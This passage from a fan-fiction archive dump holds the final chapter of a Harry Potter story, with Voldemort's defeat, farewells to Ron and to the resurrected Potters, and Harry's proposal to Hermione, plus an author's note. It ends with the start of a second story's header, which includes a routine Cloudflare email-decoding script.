class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Exhausted, Harry\ncollapsed into Hermione\'s arms.&nbsp;\n&quot;Is...is it over?&quot; asked a weary Harry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione smiled\nand gently kissed him.&nbsp; &quot;Yes Harry,\nit really is over this time.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Thank...God,&quot;\nwhispered Harry.&nbsp; He promptly fainted in\nHermione\'s embrace.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Outside, the\nbattle was still raging.&nbsp; The resistance\nand the Dark Forces were still blasting each other with equal powers.&nbsp;&nbsp; Suddenly, the Death Eaters abruptly lost\ntheir powers!&nbsp; The resistance abruptly\nstopped fighting when the Death Eaters lost their powers.&nbsp; The Dark Creatures fled away, their\nconnection to the Death Eaters seemingly lost.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;What is\ngoing on?&quot; demanded one of the Death Eaters.&nbsp; &quot;Why can\'t we use dark magic?!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;The answer\nto that is quite simple, really,&quot; said a voice from the resistance\nside.&nbsp; It was Albus Dumbledore.&nbsp; &quot;Harry has used the stellar patronus on\nVoldemort.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;What?!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;The stellar\npatronus cleanses all dark magic out of a person\'s system,&quot; said\nDumbledore.&nbsp; &quot;Since all of you are\nservants of Voldemort, you have all also have been cleansed when Voldemort was\ncleansed.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">With a pang, the\nDeath Eaters realized this was true.&nbsp;\nThey surrendered and the resistance cheered.&nbsp; In this way, the domination of Europe by the Dark Forces was\nended once and for all.&nbsp; Freedom\nreturned to the Earth.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">After the end of\nthe reign of terror of the Dark Forces, there was much to do.&nbsp; It was decided that advanced memory charms\nwould be placed on the general muggle population and remove all knowledge of\nthe &quot;darkness&quot; from muggle minds.&nbsp;\nThere was also a lot of work going into rebuilding the nations of\nEurope, both magic and muggle.&nbsp; The\nreestablished governments all worked hard to rebuild what had been lost in the\nreign of terror.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">There were also\nmany partings during this time.&nbsp; The\nfirst parting, two days after the defeat of Voldemort, was surprisingly Ron\nWeasley and Margaret Chapel.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;I never\nexpected that you would be the one to go back to school,&quot; said Hermione as\nshe and Harry were saying goodbye to their red haired friend.&nbsp; He had already said goodbye to his family,\nafter assuring Molly that he would write to them at least once a week.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Yeah well,\nwith some stroke of luck, I managed to get a scholarship for Columbia.&nbsp; I might as well finish the whole curriculum.&nbsp; I\'m also considering living permanently in\nNew York,&quot; said Ron.&nbsp; Harry and\nHermione however did not miss the small blush on Ron\'s cheeks.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Come on Ron,\nwe\'re going,&quot; said Margaret, next to an old boot that was the portkey back\nto New York.&nbsp; Ron blushed red and made\nhis way to Margaret and gave her a quick kiss.&nbsp;\nHarry and Hermione shared a knowing smile.&nbsp; They knew the real reason why Ron wanted to go back to New York.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Good bye,\nRon,&quot; said Hermione.&nbsp; She gave him\nand Margaret a hug.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;See you around,\nmate,&quot; said Harry.&nbsp; He gave both\nRon a Margaret a hug as well.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Good bye,\nguys,&quot; said Ron.&nbsp; &quot;And\nremember Harry, you\'d better make me the best man at your wedding.&quot;&nbsp; Harry and for some reason Hermione blushed\nred.&nbsp; Finally, the time came and Ron and\nMargaret disappeared.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">A few days later,\nthere was another more tearful farewell.&nbsp;\nThe month for Lily and James resurrection was up.&nbsp; The farewell was going to take place near\nthe Qudditch Pitch at Hogwarts.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">On that day, many\npeople who were friends of the Potters came to see them for the last time.&nbsp; This time, they were able to say goodbye.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Sirius and Hagrid\nwere outright balling.&nbsp; Remus looked\ntearful.&nbsp; There were also a good number\nof other friends of them who had tears in their eyes.&nbsp; Even Snape had shown up though there was no emotion on his face.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione was one\nof those with tears in her eyes.&nbsp; During\nthe short time she had been with them, Hermione had grown close to them,\nespecially Lily.&nbsp; She had grown to love\nLily and James like her own parents, and she knew that the Potters saw her as\nthe daughter they never had.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione glanced\nover at Harry.&nbsp; She knew that he too had\ngrown very close to the parents he never knew in the short time they had been\ntogether.&nbsp; She saw that Harry\'s eyes\nwere watering up and that he was barely keeping his emotions in check.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Goodbye,\nSirius,&quot; said James as he gave his best friend a hug.&nbsp; &quot;At least we can say that this\ntime.&quot;&nbsp; Sirius nodded as he tried to\nfight back the sobs in his throat.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Good bye,\nRemus,&quot; said James.&nbsp; He and Lily\ngave Remus a hug as well.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Its been\ngreat being able to go on our midnight excursion again, even though it was only\nonce,&quot; said Remus.&nbsp; James nodded\nwhile he let a tear slide.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Goodbye, you\ntwo,&quot; said a tearful Lily.&nbsp; She\ngave both Remus and Sirius a strong hug.&nbsp;\nHagrid also gave them a strong hug, nearly crushing them.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">James then went\nand shook Dumbledore\'s hand.&nbsp; &quot;It\nwas good to be able to see you two again,&quot; said Dumbledore, the merry\ntwinkle back in his eye.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Lily and James\ncompleted saying their farewells to everyone.&nbsp;\nLily came to Hermione, and they shared a strong hug, tears in their\neyes.&nbsp; &quot;I\'ve grown to love you so\nmuch, Hermione,&quot; said Lily.&nbsp;\n&quot;Please, Promise me that you will take care of Harry.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;I\npromise,&quot; said Hermione.&nbsp; She also\nshared a hug with James.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Finally, Lily and\nJames came to Harry.&nbsp; Wordlessly, all\nthree of them pulled themselves into a large hug, tears flowing from her\neyes.&nbsp; &quot;I have never been more\nlucky,&quot; said Harry, &quot;to have a mum and a dad like you two.&nbsp; I\'ll miss both of you.&nbsp; And this time, I won\'t miss having parents.&nbsp; I\'ll miss my mum and dad Lily and James\nPotter.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;We\'ll miss\nyou too, Harry,&quot; said James.&nbsp;\n&quot;Remember, we love you and always will.&nbsp; And we are so proud of you son.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Goodbye\nHarry,&quot; said Lily.&nbsp; She slipped a\nblack velvet box into Harry\'s robes.&nbsp;\nHarry raised an eyebrow.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;James gave\nthat to me after we graduated from Hogwarts,&quot; said Lily.&nbsp; &quot;I trust you know what to do with\nit.&quot;&nbsp; Harry smiled and nodded.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Finally, the time\ncame.&nbsp; People said goodbye over and over\nagain as Lily and James\'s forms started to fade away.&nbsp; Finally, they were gone.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">About two weeks\nlater, life had finally started to return to the way things were before\nVoldemort\'s reign.&nbsp; Jobs were opening\nup, the Ministry of Magic was reestablished, the Daily Prophet was running once\nagain, wizarding businesses were opened, Gringnotts opened its vaults, the\nKnight Bus was traveling once more, the WWN was playing songs again, the Floo\nnetwork was back, and Hogwarts was once again bustling with students.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry and Hermione\nmoved into a small house near Hogsmeade.&nbsp;\nIt was secluded enough to give Harry the necessary privacy to evade the\nmedia, yet close enough to give them full access to hogsmeade and\nHogwarts.&nbsp; As could be expected, Harry\ndecided to use his Battle Wizard skills as an auror.&nbsp; But after the recent defeat of Voldemort, dark wizards were in\nshort supply so Harry had plenty of free time.&nbsp;\nAs for Hermione, she became a free-lance writer.&nbsp; Thus, they both had plenty of time to just\nbe with each other.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">One night,\nHermione was just finishing up the touches on her latest work when Harry came\nup to her and said, &quot;Hey, you want to go out a little?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;OK,&quot;\nsaid Hermione with a sweet smile.&nbsp; They\nwent out into the moonlight and just took a walk hand and hand.&nbsp; Before Hermione had realized it, they had\ncome to the lake at Hogwarts.&nbsp; When they\nhad gotten there, Harry let go of her hand and walked a few paces forward.&nbsp; Hermione was confused.&nbsp; She had never seen Harry look so nervous.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry took a few\nbreaths to calm his nerves.&nbsp; Finally, he\nmanaged to find his voice and said, &quot;You know Hermione, I know we haven\'t\nbeen dating for that long but...bloody...how do I say this?&nbsp; Hermione, I love you more than\nanything.&nbsp; I cannot imagine ever being\nin love with anybody else the way I love you for as long as I live.&nbsp; You are the one true love of my life.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione had tears\nglistening in her eyes.&nbsp; There was a\nlight breeze that blew her bushy brown hair up in a wavy motion that shone in\nthe moonlight.&nbsp; She opened her mouth and\nsaid, &quot;I love you too, Harry.&nbsp; More\nthan anything imaginable.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&quot;Let me\nfinish,&quot; said Harry, his beautiful emerald green eyes locked with her\ncinnamon brown ones.&nbsp; &quot;You are the\nstar of my life, my lifeline, the number one reason why I want to wake up\neveryday and face the world.&nbsp; You are my\neverything.&nbsp; So I ask you...&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione\'s heart\nskipped a beat when Harry kneeled down in front of her, his green eyes showing\njust how nervous he was.&nbsp; Harry pulled\nout the velvet box Lily had given him at their parting.&nbsp; He opened it and Hermione gasped.&nbsp; Inside was a ring.&nbsp; A single gold band with a large, beautifully diamond on it.&nbsp; Hermione stared at the ring, her heart\nbeating more furiously than she could have ever known was possible.&nbsp; \'Could it be?\' she wondered hopefully.&nbsp; \'Is this what it looks like?\'</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Her questions were\nanswered a second later when Harry said, &quot;Hermione Granger, will you marry\nme?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">For a second,\nHermione forgot how to breathe.&nbsp; Then, a\nwide smile broke out on her face and tears started flowing from her beautiful\nbrown eyes.&nbsp; &quot;Yes,&quot; she\nwhispered.&nbsp; Then, more louder:\n&quot;Yes!&nbsp; Harry, I will marry\nyou!&nbsp; I will be your wife!&nbsp; Oh Harry, I love you more than life it\nself!&quot;&nbsp; She flung her arms around\nHarry.&nbsp; Harry broke out into a wide grin\nand kissed her passionately.&nbsp; Soon,\ntears were flowing from his eyes as well as they constantly whispered, &quot;I\nlove you...I love you...&quot; over and over again in between kisses.&nbsp; Up above them, the moon shone in celebration\nfor the happiness of the couple and their new beginning.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">THE END</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">A/N It\'s\nover.&nbsp; It\'s the end.&nbsp; This fic is finished!&nbsp; I don\'t believe it, but this has been the\nhardest fic ever to write.&nbsp; But its\nfinished now.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The original idea\nfor this story was that it would be a Christian Allegory.&nbsp; Although it ended up as one big\naction/adventure spectacle, it was still highly allegorical as I\'m sure some\npeople have noticed.&nbsp; That\'s why I put\nBible Verses at the top of each fic, to set the mood of each chapter.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">A special thank\nyou to all of my readers.&nbsp; There are so\nmany of them that I cannot list them all here.&nbsp;\nIt has been such a joy reading reviews all the time.&nbsp; For now, I\'m going to be working on my Harry\nPotter website, which I hope to get up on the net in a few days.&nbsp; Just check my author\'s section in a few\ndays.&nbsp; Once again, a special thank you\nto all of my readers and reviewers.&nbsp;\nThank you and God bless all of you.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">E. C. R. Potter</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(148, 1, '<span class="u">In The End </span>\n<p><b>Author</b>: sunnycouger (<a class="__cf_email__" href="/cdn-cgi/l/email-protection">[email protected]</a><script>\n/*  */!function(){try{var t="currentScript"in document?document.currentScript:function(){for(var t=document.getElementsByTagName("script"),e=t.length;e--;)if(t[e].getAttribute("cf-hash"))return t[e]}();if(t&amp;amp;&amp;amp;t.previousSibling){var e,r,n,i,c=t.previousSibling,a=c.getAttribute("data-cfemail");if(a){for(e="",r=parseInt(a.substr(0,2),16),n=2;a.length-n;n+=2)i=parseInt(a.substr(n,2),16)^r,e+=String.fromCharCode(i);e=document.createTextNode(e),c.parentNode.replaceChild(e,c)}}}catch(u){}}();/*  */</script>) \n</p><p><b>Category</b>: General/Drama\n</p><p><b>Rating</b>: PG \n</p><p><b>Summary</b>: The second prequel to Somewhere in Between. This fic follows on from Of Purple Mice &amp; Floating Paperweights but can also stand alone. It\'s Ginny\'s Graduation and an unexpected visitor interupts with a warning. \n</p><p><b>Disclaimer</b>: The characters of Harry Potter don\'t belong to me, I\'m just taking them out to play and I promise to get them home to JK Rowling in time for the next book :) But, just in case you were in any doubt as to who they belong to have a look at this: This story is based on characters and situations created and owned by JK Rowling, various publishers including but not limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc. No money is being made and no copyright or trademark infringement is intended. The song 